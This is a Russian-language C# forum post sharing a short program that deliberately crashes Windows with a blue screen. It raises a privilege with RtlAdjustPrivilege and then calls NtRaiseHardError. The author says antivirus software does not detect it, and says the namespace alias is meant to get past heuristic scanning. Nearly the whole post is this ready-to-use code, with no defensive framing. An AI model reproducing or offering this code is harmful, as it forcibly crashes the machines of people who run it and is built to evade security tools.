Загрузка...

Функция BSOD-инвокера (Вызов BSOD) на шарпах

Тема в разделе C# создана пользователем DartPower 18 дек 2020. 288 просмотров

  1. DartPower
    DartPower Автор темы 18 дек 2020 1 1 авг 2018
    Может быть кому пригодится... Не помню где брал код, ибо сама функция и идея не нова %))
    Но в данном случае пока что не палится антивирусным ПО (делал через .NET Framework 3.5 без обфускации, был протестирован тестером, у него АВ не спалил)

    Код

    // Вероятно поддавляет эвристический анализатор антивируса...
    // Cyberdyne можете заменить на что-то ещё.
    using Cyberdyne=System;

    // Сам код в общем-то
    namespace SkyNet
    {
    class GoodbyeHuman
    {
    [Cyberdyne.Runtime.InteropServices.DllImport("ntdll.dll")]
    public static extern uint RtlAdjustPrivilege(int Privilege,bool bEnablePrivilege,bool IsThreadPrivilege,out bool PreviousValue);

    [Cyberdyne.Runtime.InteropServices.DllImport("ntdll.dll")]
    public static extern uint NtRaiseHardError(uint ErrorStatus,uint NumberOfParameters,uint UnicodeStringParameterMask,Cyberdyne.IntPtr Parameters,uint ValidResponseOption,out uint Response);

    [Cyberdyne.STAThread]
    static unsafe void Main(string[]args)
    {
    Cyberdyne.Runtime.InteropServices.Marshal.PrelinkAll(typeof(GoodbyeHuman));
    Cyberdyne.Boolean t1;
    uint t2;
    RtlAdjustPrivilege(19,true,false,out t1);
    NtRaiseHardError(0xc0000022,0,0,Cyberdyne.IntPtr.Zero,6,out t2);
    }
    }
    }
     
  2. temnij52
    temnij52 7 фев 2021 C# OneLove 46 14 апр 2020
Загрузка...
Top